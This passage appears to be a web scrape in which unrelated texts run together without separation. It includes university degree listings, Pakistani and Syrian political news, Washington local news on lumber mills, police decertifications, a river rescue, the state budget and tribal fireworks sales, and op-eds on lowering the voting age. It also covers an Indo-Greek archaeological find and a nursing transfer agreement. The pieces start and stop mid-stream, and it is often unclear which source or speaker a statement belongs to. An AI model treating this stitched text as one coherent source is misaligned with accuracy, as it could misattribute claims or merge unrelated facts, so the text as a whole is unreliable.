a dual-degree student. Admissions Several of the above-referenced programs have specific requirements for applying to the dual-degree program. For those where students must apply separately to each program, students can expect to provide a range of information. To the law schools, applicants typically apply through the credential service of the Law School Admission Council. This service requires prospective students to take the LSAT and submit transcripts and recommendations. MBA programs typically require transcripts, GMAT or GRE scores, a personal statement, and recommendations. Colorado Christian University | BA in Special Education: K-12 Generalist (Licensure) Colorado Christian University offers a Bachelor of Arts in Special Education, K-12 Generalist program specially designed for those who would also like to earn a license to teach special education in Colorado. Read on to learn more about this bachelor's degree program. Official Program Name: Bachelor of Arts in Special Education, K-12 Generalist (Licensure) School Offering Program: Colorado Christian University Degree Level: Bachelor's Program Prerequisites: Prospective students of the BA in Special Education, K-12 Generalist (Licensure) degree program should enjoy working with children and be interested in preparing for a teaching career in special education. They might also be inquisitive with excellent problem-solving skills and a firm belief that all students have the capability to learn. All applicants to Colorado Christian University should have a high school diploma or the equivalent; additional requirements may apply for some programs. Program Description: Colorado Christian University's Bachelor of Arts in Special Education, K-12 Generalist (Licensure) degree is designed to provide the pedagogical knowledge and practical experience required for students to begin a career as a licensed special education teacher. The coursework in this program is intended to expose students to many different facets of the profession, allowing them to build upon a foundation of skills they may use to address the general special education needs of today's schools. Core course topics may detail subjects like literacy and language development, differentiated instruction, emotional and behavioral needs, curriculum planning, and assessment. The licensure track is designed to prepare students for Colorado licensure in both Elementary and K-12 Special Education Generalist. Learning Format: Online and on campus Program Length: 120 credits. Financial Aid: Eligible students could be able to receive financial aid in the forms of grants, loans, and scholarships. Contact Colorado Christian University's financial aid office for more information. Colorado Christian University | BS in Business Administration Students who want a chance to learn the fundamentals of business and organizational leadership may be interested in the Bachelor of Science in Business Administration at Colorado Christian University. Discover more about this B.S. degree here. Official Program Name: Bachelor of Science in Business Administration School Offering Program: Colorado Christian University Degree Level: Bachelor's Program Prerequisites: Applicants to the Bachelor of Science in Business Administration program should have strong math and analytical skills as well as a desire to grow the fundamental business knowledge. All bachelor's programs at Colorado Christian University require a high school diploma or the equivalent; some programs may have additional requirements. Program Description: Colorado Christian University's Bachelor of Science in Business Administration program is designed to produce graduates who are ready to lead organizations in a morally and fiscally responsible way. Students have the chance to learn team-building skills, sound decision making, and business ethics based on the Christian worldview. Coursework covers topics in management, organizational behavior, financial reporting, and the principles of marketing. Students may choose from a wide range of emphases including International Business, Management, Pre-Law, Accounting, Computer Information Systems, Marketing, Economics, or Finance. Learning Format: On Campus Program Length: 120 credits. Financial Aid: Eligible students could be able to receive financial aid in the forms of grants, loans, and scholarships. Contact Colorado Christian University's financial aid office for more information. Pakistan making all-out efforts for peace across the whole region: FO Foreign Office Spokesman Dr Mohammad Faisal on Thursday said that Pakistan is making all-out efforts for peace across the whole region. Talking to the media, he said Pakistan had offered Sri Lanka all-out support and cooperation after the tragic attacks on Easter. He said President Dr Arif Alvi, Prime Minister Imran Khan and Foreign Minister Shah Mahmood Qureshi called their respective Sri Lankan counterparts and affirmed that the people and government of Pakistan stood in complete solidarity with their Sri Lankan brethren. He said Sri Lanka had not sought any help from Pakistan so far. Faisal said all Pakistanis in Sri Lanka were safe and there was no report of any fatality. He said three Pakistani women injured in the blasts had now recovered and discharged from hospitals. He said the Pakistani High Commission in Colombo was constantly in touch with Pakistanis in Sri Lanka. Clarifying the statement of Prime Minister Imran Khan in Iran, Faisal said the premier was referring to non-state actors using Pakistani soil under foreign influence to carry out activities in Pakistan or coordinating from Pakistan, and the case in point was like that of Kulbhushan Jadhav and local facilitators. He said the premier clearly stated during his Iran visit that Pakistan was attacked from Afghanistan and Iran. He said Imran Khans visit was in line with the governments approach to meaningfully strengthen its relations with all neighbouring countries. He said Iran gave emphatic support to Pakistan on the issue of Kashmir. He said a joint statement issued later discussed in length the issue of Kashmir, including the mention of UNSC resolutions, so it was a great diplomatic achievement. He said Iran-Pakistan gas pipeline project was also discussed among other projects during the premiers visit to Iran. Faisal said Imran Khan, during his visit to China, would not only meet the Chinese leadership but an entire gamut of world leaders. To a question on Indian suspension of Kashmir border trade with India, he said trade and other confidence building measures were important between neighbouring countries, and Indian decision to stop the trade was regrettable. He said Pakistan was committed to the Kartarpur Corridor and waiting for the next meeting with India in this regard.Expressing deep concern on the plight of Kashmiris and incarceration of Hurriyat leaders, the Foreign Office spokesperson said intensified atrocities continued in Indian-held Kashmir. He also regretted the selective attribution of his remarks on Dr Aafia Siddiqui, which he said were taken out of context by a section of the media. We are in touch with Dr Aafia Siddiqui and her family and will continue our efforts to bring her back to Pakistan. We continue raising the issue in Islamabad as well as Washington. He said Pakistans consul general in Houston regularly visits Dr Aafia Siddiqu, and her last such visit was on 18th of this month. The Syrian government has sought to reassure people that the port of Tartous would be run cooperatively by Syria and Russia, to the benefit of both writes Al-Watan. Transport Minister, Ali Hammoud, denied reports on social media that Tartous port was being rented or bartered away with the Russians, saying that the investment contract was for a partnership in administering, expanding and operating the Tartous port, according to the regulations used for partnerships between the public and private sector in Syria, and that it would be signed by the private Russian Stroytransgaz company. Hammoud told Al-Watan that the contract period had been set at 49 years because according to the economic feasibility study the project needed this long to achieve the necessary profits for both sides. The project includes an expansion north of the port in addition to all development works in the port and updating the current infrastructure and establishing a new port, whereby production will increase from its current capacity of four million tons up to 38 million tons annually, at an estimated cost of more than 500 million dollars. He noted that, based on the Syrian sides request, the new port will be completed according to the most up-to-date global standards and with the highest level of modern technology and advanced administration systems, which will reduce many expenses. Hammoud said that the port investment was included in the Joint Syrian-Russian Cooperation Committee protocol, and that contracting with the Russians was economically feasible. The Minister for Transport said that this investment would help break the blockade and reduce the oppressive sanctions, and said: The presence of a global company invested in the port will create a positive atmosphere for global shipping and encourage them to use the harbor, which will reduce the effects of the oppressive blockade imposed on Syria and help deliver needs and necessities to the Syrian people. He continued: The Syrian sides requests were met in the agreement, most importantly the workers and that they be maintained, in addition to arbitration being in Syrian courts and through the Syrian administrative judiciary. He added that the contract terms were firm and that its items included implementation according to a specific time program. Hammoud noted that any acquisition by the Syrian Arab Republic would be carried out in accordance with the Syrian acquisitions law and according to need, which includes the rights of citizens. Hammoud pointed to the possibility of generalizing this experience to other Syrian ports, making them competitive with other ports in neighboring countries and the region (Mersin, Tripoli, Aqaba). He said that the increase of depth to 19 meters meant that large ships could enter with high loads, where as current tonnage is no more than 30,000 tons. The current depth is between four and 13 meters and after the expansion it will see two million containers annually. He noted that the port now receives about 20,000 containers annually, which means an increase tens of times over. He said: We had a previous experience in administering the container station in the Tartous port with a Philipino company, and now the administration in the container station of the Lattakia port by a joint Syrian-French company. The experience is not new, as most global strategic projects, especially ports, are administered by specialized companies and not alone, which achieves greater profits and returns. He added: Work and efforts are continuing with determination and persistence across dozens of major projects offered for investment, including setting up airports, rail lines and establishing naval industrial zones. Hammoud added that the investment would activate land transport and the rail sector and that it would return life to it by transporting goods, whether to internal markets or through transit, with rail lines rehabilitated as well as main roads that connect the port with neighboring countries. A project linking the Syrian coast with Iraq and the Gulf will be completed, with important advantages for the New Silk Road crossing through Syria, as well as completing the dry port supporting the work of the naval port, and strengthening the work of the dry ports in the provinces. He continued: We are able to benefit from Russian relations with various countries, especially neighboring countries and to benefit from major commercial realtions through our Russian friends, especially in exporting vegetables, fruits and citrus to various countries by way of establishing a packing and sorting center, and a distribution center for Russian wheat in the region, and launching pioneering projects established to attract new investments to encourage local and foreign companies to invest, especially in light of the economic blockade. This article was translated and edited by The Syrian Observer. Responsibility for the information and views set out in this article lies entirely with the author. Local civilians were protesting the practises of the US-backed Qasad militia, and demanding that they leave the area reports SANA. Three citizens were killed in an attack by the US-backed Qasad militia, who opened fire during a protest held in al-Daman village, which was condemning the militias practices in the northern Deir ez-Zor countryside. Sources indicated that the protests were calling for the expulsions of the Qasad militia from the area, as well as from al-Basira city, the village of al-Azba in the northeastern countryside of Deir ez-Zor. They accuse the group of spreading chaos, kidnappings, killings and the having a monopoly on oil with the companies that deal with them. The protesters cut off the main roads in the area and closed their shops amid a general strike in the town of al-Basira and the village of al-Azba, renewing their demands for the militia to leave. While expressing support and solidarity for Syria, the Chinese Assistant Foreign Minister also emphasised Chinese desires to take part in the reconstruction reports SANA. On Thursday, Presidential Political and Media Adviser, Bouthaina Shaaban, discussed with the Chinese Assistant Foreign Minister, Chen Xiaodong, means of bolstering bilateral relations between the two friendly countries at various levels. The meeting was held on the sidelines of Second Belt and Road Forum, which is currently being held in Beijing, China. Shaaban pointed to the strong ties binding the two countries, which share similar ideals and human values and seek to fight terrorism and realize security and safety in the world. She hailed the support provided by the Chinese government to Syria at different levels. Shaaban pointed to the importance of Syrias participation in the Second Belt and Road Forum, which reflects its important contribution to communication among peoples and civilizations. For his part, the Chinese Assistant Foreign Minister affirmed that his countrys stance towards Syria has not changed and will not change, hailing the continued cooperation between the two countries especially in the fight against terrorism. He voiced his countrys readiness to continue providing support and assistance to Syria at various levels, hailing the efforts exerted by Syria to make the Astana talks a success. He also expressed Chinas serious willingness to take part in the reconstruction of Syria, asserting that the government has always encouraged Chinese companies to invest in Syria. This article was edited by The Syrian Observer. Responsibility for the information and views set out in this article lies entirely with the author. The Syrian National Coalition has said that the mounting evidence of war crimes committed by Assad and his inner circle is enough to mount a successful prosecution. Secretary of the Syrian National Coalitions political committee, Riyad al-Hassan, stressed that the body of evidence obtained by the International Impartial and Independent Mechanism (IIIM) on the most serious crimes committed in Syria since March 2011 is more than enough to try the head of the regime and his corrupt clique. Hassan welcomed the positions of the friendly countries at the latest UN General Assembly meeting. He stressed that peace in Syria can only be achieved through justice and accountability as well as support for IIIMs work to hold accountable those involved in war crimes and crimes against humanity in Syria. Hassan said that the countries concerned with upholding the values of peace and human rights in the world must work together to activate IIIM at a time when impunity looks poised to prevail amid attempts by some of the Assad regimes allies to conceal the facts about the use of chemical weapons against the Syrian people. Moreover, Hassan stressed that bringing criminals in Syria to justice will not only redress the victims, but will also pave the way for holding to account the perpetrators of war crimes and human rights violators across the rest of the world. Hassans remarks came in response to a UN reports about the existence of more than a million documents about crimes committed in Syria since 2011, according to the IIIMs third report. The evidence includes documents, videos and photographs and testimonies from witnesses and victims. The UN Human Rights Council established the International Independent Commission of Inquiry on Syria on Aug. 22, 2011, to investigate all violations in the country. The UN Security Council in 2016 adopted a resolution to establish the International, Impartial and Independent Mechanism (IIIM) to assist in investigating and prosecuting crimes in breach of international law. This article was edited by The Syrian Observer. Responsibility for the information and views set out in this article lies entirely with the author. ...the view from the sidewalks of Minneapolis and Saint Paul... Interfor Corp., a Canada-based company that owns a lumber mill on Third Avenue in Longview, announced this week that it will reduce lumber production at three of its mills in British Columbia next month due to a combination of weak lumber prices and continuing high log costs. The curtailment is expected to reduce lumber production in the region by 20 million board feet and will be accomplished by reducing operating days at each of the three mills. The reduction is about 2.7 percent of those mills annual capacity and a fraction of the companys 3.1 billion board foot annual capacity, according to Interfor, which is based in Vancouver, British Columbia. The company has not announced whether a curtailment is slated for its Longview mill. After hitting record highs early last year, lumber prices have fallen sharply. According to Random Lengths, green two-by-fours were selling for $295 a thousand board feet last week, down from $530 per thousand a year earlier. Its estimated composite price for all sorts of framing lumber dropped to $350 per thousand board feet, down from nearly $500 a year ago. Meanwhile, prices of Douglas fir logs eased a bit in recent months, but theyve been surging since the late fall of 2016, reaching their highest level in more than a decade last summer, according to Forest2Market, a forest product analysis group. Interfor purchased the Longview plant from Simpson Lumber Co. in 2015 as part of a $94.7 million deal that included acquisition of Simpson sawmills in Tacoma, as well as in Georgia and South Carolina. The deal made Interfors the fourth-largest lumber company in the world, according to the company. From a customer perspective, it brings more choice and more supply. It also brings a whole bunch more expertise and experience (to Interfor), said Interfor spokeswoman Karen Brandt. Simpson is a great company with long history, so from an operating standpoint, its great. Brandt said Interfor is very impressed with the efficiency and productivity of the Longview facility. The mill produces 180 million board feet annually, enough to frame about 11,000 three-bedroom homes. It specializes in green Douglas firs. Interfor also announced plans to open a new Pacific Northwest regional office at Simpsons former Commencement Bay location. Contact City Editor Andre Stepankowsky at 360-577-2520. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 This article has been updated to include more context on the firing of a Longview police officer. A handful of former local law enforcement officers are among the 30,000-plus who have lost their law enforcement certification due to some kind of misconduct, according to a national USA Today investigation made public Thursday. The local officers named three Longview officers, one Kelso officer, two Clatskanie officers, and one deputy each from the Lewis, Pacific and Columbia County sheriffs offices were investigated, stripped of their law enforcement certification and fired, according to the database, which is available to the public. The records do not give a specific range of time, but in Washington State they span a period from 2002 to 2017. USA Today said it gathered records from thousands of state agencies, prosecutors and police departments to compile the database, and it worked with more than 100 news outlets to compile the records. All but six states have some kind of decertification process intended to keep officers fired for misconduct from shuffling into other agencies. But there is no centralized federal tracking system, and some states only require that cops are convicted of crimes before they are considered ineligible for law enforcement work. Among the six states that do not have decertification processes are New York and California, Massachusetts, New Jersey, Rhode Island and Hawaii. They comprise 26 percent of the countrys law enforcement officers, according to Bureau of Justice statistics. Some of the most serious misconduct in the national study involves alleged rape, evidence falsification and drug dealing, but locally, officers were mostly decertified for making false/misleading statements. At least 85,000 officers have been investigated for misconduct nationally over the past decade, the investigation found, but it is initially releasing only those who have actually been decertified. Longview Police Chief Jim Duscha said that while he hadnt read USA article personally, he thought reporting like it is mostly beneficial. In general, I think its valuable because the public sees that we do take misconduct seriously, and Im talking nationwide, Duscha said. I think it should, for most of the public, reassure them that we do look into these cases seriously. ... The amount of discipline necessary is what we look at for each of these cases. Now the downside is, Duscha said, I do hate seeing guys names drug through the mud. ... Were held to a higher standard obviously, but ... at some point, theyre human beings, (and we can) just let them get on with their lives. Duschca said Longview PD requires an investigation from an outside agency if theres any hint of a criminal violation by an officer. Longview officer Jeremiah Porter was decertified in 2006 for failure of duty/false/misleading statements/false swearing. Jason Winker was decertified in 2007 for false/misleading statements, and Nicholas Wells was decertified in 2015 for false/misleading statements. A 2014 letter shared with TDN by Wells on Friday from Duscha indicates that he was terminated from the police department because his performance during the 18-month probationary period for new officers was not up to departmental standards, and the letter does not mention any misconduct or improper behavior on Wells' part. It wishes him the best of luck in future professional endeavors. Duscha said that as a matter of policy, he couldnt comment on any of the decertifications. Kelso officer Derek Arnett was decertified in 2005 for possessing a firearm against state/federal law. The City of Kelso fired Arnett in 2004. He pleaded guilty later that year to fourth-degree assault (domestic violence) and driving while intoxicated, and the story was well-documented in The Daily News. Lewis County sheriffs deputy Terry Conrad was decertified in 2006 for false/misleading statements, and Pacific County sheriffs deputy Vance Johnson was decertified in 2016 for official misconduct, according to the database. In Oregon, former Columbia County sheriffs deputy David Fuller was under investigation when he chose to retire, resulting in the county revoking his certification. (The dates of revocation are not available in the Oregon database.) The Columbia County Spotlight wrote at the time that Fuller was under investigation for allegedly failing to properly report a single-vehicle crash where he was the driver. Dustin Stone resigned or retired from the Clatskanie Police Department, although no further disciplinary information was available. Clatskanie Police Chief Marvin Hoover resigned during investigations at the Clatskanie Police Department, according to the USA Today investigation. The Daily News reported in 2015 that Hoover was accused of imitating a howling monkey and singing Dixie during a discussion about a complaint of racism by other Clatskanie police officers. Love 13 Funny 6 Wow 1 Sad 2 Angry 2 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A man and a boy were rescued from the Columbia River on Wednesday afternoon near Marine Park in Vancouver. Emergency crews were dispatched around 4:35 p.m. to a boat launch at the park. The man and boy had drifted roughly 200 yards south of the boat launch and 400 yards downstream, Vancouver Fire spokesman Joe Spatz said. Earlier, the boy was riding a scooter when he rode to the end of a dock and fell in, Spatz said. A man then jumped in to save the boy, but the current caused them to drift away from the dock. After a Vancouver Fire boat and engine arrived, they directed a Multnomah County Sheriffs boat to the their location. Once our captain gave them directions, they were right on top of those guys, Spatz said. Emergency crews cleared the scene around 5:06 p.m. After being brought to shore, both were cold but uninjured, Spatz said. While air temperatures were well over 60 degrees Wednesday, the Columbia River at Vancouver hovered around 52 degrees, according to the National Oceanic and Atmospheric Administration. The air is warm, but the water is cold, Spatz said. This is the time of year where we see a lot of drownings, unfortunately. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Saudi Arabia expressed keen interest in Gwadar investment Saudi Arabia has expressed its keen interest in exploring more avenues for investment in Gwadar, as there is a huge potential for trade and economic activities. This was deliberated during a meeting of the Saudi Shura Council Chairman Dr Abdullah Bin Muhammad Bin Ibrahim Al-Shaikh with Senate Chairman Muhammad Sadiq Sanjrani at a reception hosted in honour of the Saudi Shura Council. The Senate chairman observed that mutual trust and confidence had been witnessed in the decades-long friendship between the two sides. Referring to the investment opportunities in Pakistan, he observed that an environment conducive to multi-sector investment existed in Pakistan, and Saudi investors would benefit from the investment opportunities. Sanjrani said he considered the visit of Saudi Crown Prince Mohammad bin Salman as highly important, as it would help in laying the foundation for a new era of cooperation. He said that Saudi investment had helped in rejuvenating the confidence of international community in Pakistan. He said that during the visit of the crown prince, MoUs envisaging Saudi investment worth $20 billion were signed, which proved that Saudi Arabia considered Pakistan an important country. He further said that the recent high level reciprocal visits would usher into a new era of economic cooperation. He called for developing an institutional mechanism and legal framework for better institutional collaboration. Sanjrani also praised vision 2030 unveiled by Saudi Arabia and hoped that the initiative would help reduce unemployment and develop linkages with international markets, besides offering a win-win situation for all. Both the leaders exchanged views on matters of mutual significance and bilateral importance. Sanjrani said Pakistan and Saudi Arabia were intertwined into a relationship having its basis in religious, social, cultural and historical commonalities. He also appreciated the launch of Pakistan Saudi Arabia Supreme Coordination Council, hoping that the council would take tangible steps for promoting political, economic, social and cultural linkages. He welcomed the decision of increasing Hajj quota for Pakistanis and further reducing the visa fee, saying that these steps would further help promote people-to-people contact. The Senate chairman expressed his well wishes to King Salman bin Abdul Aziz and the Crown Prince Mohammad bin Salman. The Saudi Shura Council chairman thanked Sanjrani and members of the Pakistani side for a warm welcome. He said Saudi Arabia accorded high importance to its relations with Pakistan. He said the bilateral relations were deep rooted in history and people of both the countries shared common aspirations. He said that mutual exchange of frequent delegations would further boost the linkages between the two countries. He agreed on enhancing institutional cooperation between the Senate and the Shura Council. The members of the visiting delegation, while talking on the occasion, said that Saudi Arabia was very keen to benefit from the economics prospects being offered by the future economic hub of the region and willing to invest in Gwadar. The Senate chairman hoped that Saudi Arabia would explore investment opportunities in different areas. Cooperation in the defense sector also came under discussion and both sides looked forward to enhanced cooperation. The Saudi delegation also witnessed the Senate session. Earlier, the delegation of Saudi Shura Council was on Thursday given a comprehensive briefing on CPEC by the Ministry of Planning, Development and Reforms and Ministry of Maritime Affairs at the Pakistan Institute of Parliamentary Services. The briefing consisted of an overall picture of the corridor as well as possible avenues of investment in the projects under the corridor for Saudi Arabia. The delegation was informed that CPEC aimed to make Pakistan an economically sound and vivacious country and was the flagship project of the One Belt, One Road initiative. They were told that under the CPEC, projects work would be carried out in the energy, transport, infrastructure, industrial development, Gwadar Port development, socioeconomic development, trade and market access, agricultural research and development. The delegates were informed that the projects would provide much needed boost to Pakistans economy and would be an instrument for regional integration. OLYMPIA Comfortable majorities this year in the state House and Senate doesnt necessarily mean Democratic lawmakers are having an easy time writing a new budget. Democratic lawmakers Wednesday were working to complete a final deal on a 2019-21 state operating budget. And they faced hard decisions about how much money to raise through taxes or what spending they should skip. Without any new taxes, legislators are expected to have nearly $50.6 billion to fund the new budget. That amounts to a nearly 16% increase from the existing budget when Gov. Jay Inslee first signed it into law in 2017. But Democratic leaders have said new revenue is necessary to adequately fund government. They cite the costs of Washington recent court-ordered K-12 schools funding plan and a mental-health system in need of overhaul. With Sunday the last regularly scheduled day of the legislative session, budget writers and others say a deal likely needs to come together Thursday or Friday to finish on time. When asked Tuesday afternoon what obstacles remained to be resolved in negotiations, Sen. Christine Rolfes, the Senate Democratic budget writer, said: Really, revenue; how to pay for things. Rolfes said Wednesday afternoon that lawmakers would work through the night if needed. But, she added, Things are humming along, problems are being solved every hour. Proposed budgets by House Democrats, Senate Democrats and Inslee each included a plan to change the state real-estate excise tax (REET), which is paid by those selling homes, from a flat 1.28% to a graduated rate. The proposals do it in different ways. But the idea is people with less expensive homes would get a lower rate, and people with pricier homes would pay a higher share. Democrats have called it a way to raise new revenue while also making the tax system more progressive. I think thats likely, said House Majority Leader Pat Sullivan, D-Covington, when asked about the REET in a final deal. But, I think were still working through the details on that as well. In terms of spending, Sullivan said a final budget deal would wind up somewhere in between the Senates proposal of about $52 billion over two years, and the House proposal of $52.6 billion. Rep. Drew Stokesbary, R-Auburn, argued that recent growth in tax collections, combined with the fact that Democrats are negotiating among themselves, should translate into a legislative session that finishes on time and without new taxes. We could write a budget that funds all of our priorities without raising taxes, said Stokesbary, the ranking Republican on the House Appropriations Committee. Stokesbary called the change to the REET poor tax policy and said it might place a burden on sellers of multifamily housing units right as the state experience a housing-affordability crisis. But he said that it appeared likely to emerge in a final budget deal. A REET tax alone likely wouldnt get Democrats to the spending levels that they have been seeking, Stokesbary added, meaning some other tax would likely be necessary. House Democrats and Inslee also introduced different versions of a new tax on capital gains and increases in the business-and-occupation tax, as well as ending some tax breaks. But a capital-gains proposal has always faced an uncertain fate in the Senate, where three of the chambers 28 Democrats late last year said they opposed the governors version. It would take 25 votes to pass that legislation. Conservatives have argued that a capital-gains tax is unconstitutional, meaning it would almost immediately face a court challenge. But taxes are only half the equation in a budget deal. If Democrats cant properly fund programs, theyll ultimately have to pay those costs down the road, said David Schumacher, director of the Office of Financial Management. Using budget maneuvers like tweaking projected costs and savings to programs in future years might delay the need for some taxes. But lawmakers would just be skipping a payment and having to come back next year to fund those items in a supplemental budget, said Schumacher. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 The Yakima Nation emerged victorious Wednesday in its efforts to sell fireworks on Indian land over the staunch objections of a Washington sheriff. A federal judge for the Eastern District of Washington ruled that the Indian tribe has autonomy over firework sales and state regulations dont apply. The conflict began last year just before the Fourth of July. Klickitat County Sheriff Bob Songer issued cease and desist orders against members of the tribe selling fireworks in the Columbia River Gorge on land beyond the reservation. But that land is held in trust by the federal government for the tribe, and is considered Indian Country. The judge ruled that Washington authorities couldnt set civil regulations for the Yakima Nation, which has sovereign jurisdiction over its members on non-criminal matters. The judge determined that Washingtons fireworks laws are regulatory and not criminal, precluding law enforcement from intervening. Today the court upheld the Yakama Nations inherent sovereign rights reserved by our ancestors in the Treaty of 1855, Yakama Nation Tribal Council Chairman JoDe Goudy said in a news release. The Yakama Nation has safely regulated our member-owned firework stands for decades without state intrusion, and with todays order we can look forward to another safe and successful fireworks season this summer. According to the Yakima Herald, Klickitat Countys top prosecutor, David Quesnell, initially warned tribal leaders in 2017 that sales would be blocked in response to the Eagle Creek Fire that ravaged part of the gorge. We cannot take a risk of those bottle rockets and firecrackers causing another $30 million fire, the prosecutor said. Love 0 Funny 1 Wow 0 Sad 0 Angry 1 Editors note: Todays editorials were provided by Tribune News Service. Editorial content from other publications and authors is provided to give readers a sampling of regional and national opinion and does not necessarily reflect positions endorsed by the Editorial Board of The Daily News. Yes, it is time to lower the voting age to 16. Strong voter participation is the cornerstone of a healthy democracy, and the United States ranks only 26th out of 32 developed countries in voter turnout. Nearly six out of 10 Americans didnt vote in the last midterm, and in most mayoral elections, fewer than 15 percent show up. We can start to reverse this unacceptable and preventable status quo by providing more citizens the opportunity to establish strong voting habits earlier in life. Voting in the first election youre eligible for is critical to becoming a consistent, lifelong voter. For many, 18 is a difficult age to establish this habit as it coincides with new jobs or heading to college. At 16, on the other hand, young people are in school, rooted in their communities, and are more likely to cast that first ballot. Voting at 16 would ensure every citizen can vote at least once during their high school years and establish the voting habit. The evidence backs this up. In American cities that use a 16-year-old voting age for municipal elections, turnout for 16- and 17-year-olds has been significantly higher than for older young adults. The same is true in European countries such as Austria where 16-year olds can vote in all elections. This idea has been mischaracterized by some as intended to benefit the Democratic Party, but fostering engaged citizens is a deeply American ideal that transcends party lines. Lowering the voting age will likely also benefit both parties over time. Those with a high school education or less lean right politically and that gap is widening. However, this group also turns out to vote at lower rates than those with a college education. Thus, by making it easier for those who will not go to college to vote and make voting a habit, we could very well see an increase in participation among a group that is increasingly key to the conservative base. Earlier voting isnt just about habit formation; its also about honoring existing rights and responsibilities. Sixteen- and 17-year-olds work and pay taxes, and will face the repercussions of policy decisions made today for the rest of their lives, whether it is the ballooning national debt or our response to climate change. Lowering the voting age gives our representatives an incentive to pay attention to an overlooked constituency of tax-paying citizens. Science also shows that 16-year-olds are ready to make informed decisions at the polls. Voting relies on the cold cognition decision making process, which is fully developed at 16, and does not improve with age. Last month, 126 members of Congress supported the idea on the House floor. Around the country, cities and states are leading the way in considering laws that would implement a lower voting age on the local level first. Not until high schools beef up civics, US history. House Speaker Nancy Pelosi has endorsed a proposal to lower the legal voting age from 18 to 16 in federal elections and several Democratic presidential hopefuls also are touting the idea. Whatever you might think initially of the concept, its important to consider it against the following backdrop. In 2014, a nationally representative sample of 9,100 eighth-grade students were administered a test designed to measure the civics knowledge and skills that are critical to the responsibilities of citizenship in America. Only 23 percent of the students answered enough questions correctly to demonstrate proficiency in the subject and just 2 percent scored at the advanced level. A similar test part of the quadrennial National Assessment of Educational Progress (NAEP), Americas so-called Nations Report Card was given in U.S. history. This test was taken by 11,200 eighth-graders. The scores were even worse, with 18 percent of the students judged to be proficient and just 1 percent scoring at the advanced level. Those former eighth-graders will be eligible to vote for the first time in next years elections. This was not a one-off bad year for U.S. students. It was part of a consistent, ongoing pattern, and theres little reason to believe that 2014s eighth-graders learned much more about our countrys government and history in grades nine through 12. In fact, the last time these tests were given to high school seniors in 2010 just 12 percent scored at or above the proficient level in history and just one in four or 24 percent performed at that level in civics. Eighth-graders that year were equally clueless. For example, when asked to identify a purpose of the Bill of Rights, fewer than half came up with the correct answer. When asked to choose the definition of our governments system of checks and balances, only 10 percent made the right choice. And this was a multiple-choice question; one of the choices was the correct answer. The reason we find ourselves in this situation has nothing to do with the quality and dedication of Americas teachers or the ability of American students. We work closely with high school and middle school history and civics teachers from around the country and find them, as a group, to be able, dedicated and genuinely enthusiastic about these subjects. As are their students, when theyre exposed to the exciting story of America and the well-thought-out and vigorously debated architecture of our government. The trouble is: Most students are not exposed to such details in their schools. Little more is required of them in most states than cursory knowledge of these important topics. According to an October 2018 survey by Education Week, only eight states require a full year of civics, 31 states require a full year of U.S. history, 19 states require students to take a civics test and 15 states require a U.S. history exam. But, Education Week cautions, students are not necessarily required to pass some of these exams. Fifteen states have no specific requirement for any civics classes at all; 11 have no history requirement. Regardless of the legal voting age, we do our students a disservice by not giving them the knowledge and skills necessary to be responsible citizens and our country suffers because of it. The Undead Archives I have finally salvaged my pre-Blogger TDR archives and added them into Blogger. They are almost totally in the form of one giant post for each month. And the formatting strayed from the originals. Sorry. But historians everywhere can rejoice that this treasure trove of my thoughts is restored to the world. 5 hours ago Tesla Dips Into Year End - Whats Next? It wouldnt be like Tesla (NASDAQ: TSLA) to keep their investors guessing would it? After rallying more than 100% from July through the start of November, the brakes were firmly applied when CEO Elon Musk announced his intention to start unloading huge portions of his stock holdings to meet his tax obligations. Read Article UoP discovered remains of metal workshops from Indo-Greek period Archaeologists from the University of Peshawar (UoP) said on Thursday that they have discovered remains of metal workshops from the Indo-Greek period dating back to the 2nd century BCE, DawnNewsTV reported on Thursday. The discovery has been made from a site in the Hayatabad neighbourhood of Peshawar, located close to the border of the Khyber district, said professor Gul Rahim, adding that excavation work at the site had been going on for the past three years. He said that they have recovered coins dating back to the Indo-Greek period and estimated to be about 2,200 years old. An iron chisel. The professor said that the Indo-Greeks had migrated from Afghanistan to present day Peshawar, and ruled the region for about 150 years. The relics recovered show that the site was some sort of a metal workshop as we have found iron melting pots, molds, trowels, knives and drills, which were used at the workshop, Rahim said. The workshop also likely produced arrows, bows, daggers, and swords, he added. "The site shows that the workshop was divided into blocks, whereas remains of furnaces, grinder stones and other vestiges of the era are still clearly visible," said the professor. Professor Gul further said that "this marks the first discovery of an organised Indo-Greek workshop in the province so far." An anvil. Meanwhile, Mohammad Naeem, an archaeological surveyor, said that "as compared to Buddhist sites that were built using brick masonry, this site was made from clay so it was difficult to preserve it. He said that remains of the Indo-Greek period have also been found in Gor Khatri archaeological complex. A place to exercise ideas before writing about them with greater discipline. ULLIN Shawnee Community College is among a growing list of community colleges inking deals with Southern Illinois University Edwardsville to allow nursing students a quicker path to a bachelor's degree. SCC announced the new partnership with SIUE earlier this month. It allows students to count their general education coursework taken at SCC toward a Bachelor of Science in Nursing (BSN) degree awarded by SIUE. Under the program, students complete their general courses at SCC, and then complete their baccalaureate nursing coursework online through SIUE. This allows students the ability to graduate from SCC and begin their nursing career while continuing their education online, college officials said. In addition to SIUEs partnership agreement with Shawnee, numerous other community colleges also are participating. They are: Kaskaskia College, Lewis & Clark Community College; Rend Lake College; Southwestern Illinois College and Southeastern Illinois College. Roberta Harrison, SIUE School of Nursings associate dean for academic programs and community/global partnerships, said in a statement that these partnerships are benefiting students who may not have originally seen themselves going into a four-year program. They can complete the coursework for an associate degree at the community college level, she said. When they transition into our online program, they can already see the light at the end of the tunnel. At SIUEs sister campus in Carbondale, plans are underway to create a nursing program that also will include an option for registered nurses to earn a BSN when transferring in from a community college or from the workplace. Registered nurses practice with only an associate degree, but many hospitals offer increased pay to nurses with bachelors degrees, and one may be required for certain specialty fields. SIUC also plans to secure similar articulation agreements with community colleges throughout the region, mirroring those it already has in place for various fields of study, officials previously told The Southern. SCC President Peggy Bradford called the partnership with SIUE an exciting opportunity for the students that the college serves in the southernmost region of Illinois. That students can go to work in the medical field after earning their associate degree and then continue to take classes online toward their BSN means students have one less roadblock to completion, Bradford said in a statement. We are grateful that SIUE Nursing is working with us to further promote student success for our nursing students," Bradford said. SCC Vice Chairman Michael McMahan said the agreement provides a critical opportunity for students in Johnson, Massac, Pulaski, Alexander and Union counties. The deal also gives additional validity to our program because a four-year university has accepted on face value what were offering, he said. McMahan said that endorsement could be helpful 